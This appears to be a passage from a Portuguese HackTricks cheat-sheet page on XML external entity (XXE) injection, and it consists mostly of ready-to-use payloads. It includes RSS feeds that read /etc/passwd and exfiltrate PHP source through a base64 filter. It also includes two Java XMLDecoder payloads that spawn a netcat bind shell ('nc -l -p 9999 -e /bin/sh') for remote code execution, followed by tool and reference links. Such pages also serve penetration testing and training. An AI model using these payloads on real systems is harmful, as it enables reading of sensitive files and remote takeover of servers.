<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Ler código-fonte

Usando filtro base64 do PHP

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=file:///challenge/web-serveur/ch29/index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>author@example.com</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>

Java XMLDecoder XEE para RCE

XMLDecoder é uma classe Java que cria objetos com base em uma mensagem XML. Se um usuário mal-intencionado conseguir fazer com que uma aplicação use dados arbitrários em uma chamada ao método readObject, ele obterá instantaneamente execução de código no servidor.

Usando Runtime().exec()

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
</void>
</object>
</java>

ProcessBuilder

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.7.0_21" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="6">
<void index="0">
<string>/usr/bin/nc</string>
</void>
<void index="1">
<string>-l</string>
</void>
<void index="2">
<string>-p</string>
</void>
<void index="3">
<string>9999</string>
</void>
<void index="4">
<string>-e</string>
</void>
<void index="5">
<string>/bin/sh</string>
</void>
</array>
<void method="start" id="process">
</void>
</void>
</java>

Ferramentas

{% embed url="https://github.com/luisfontes19/xxexploiter" %}

Mais recursos

https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
Extrair informações via HTTP usando DTD externo próprio: https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection
https://gist.github.com/staaldraad/01415b990939494879b4
https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9
https://portswigger.net/web-security/xxe
https://gosecure.github.io/xxe-workshop/#7

Aprenda AWS hacking do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: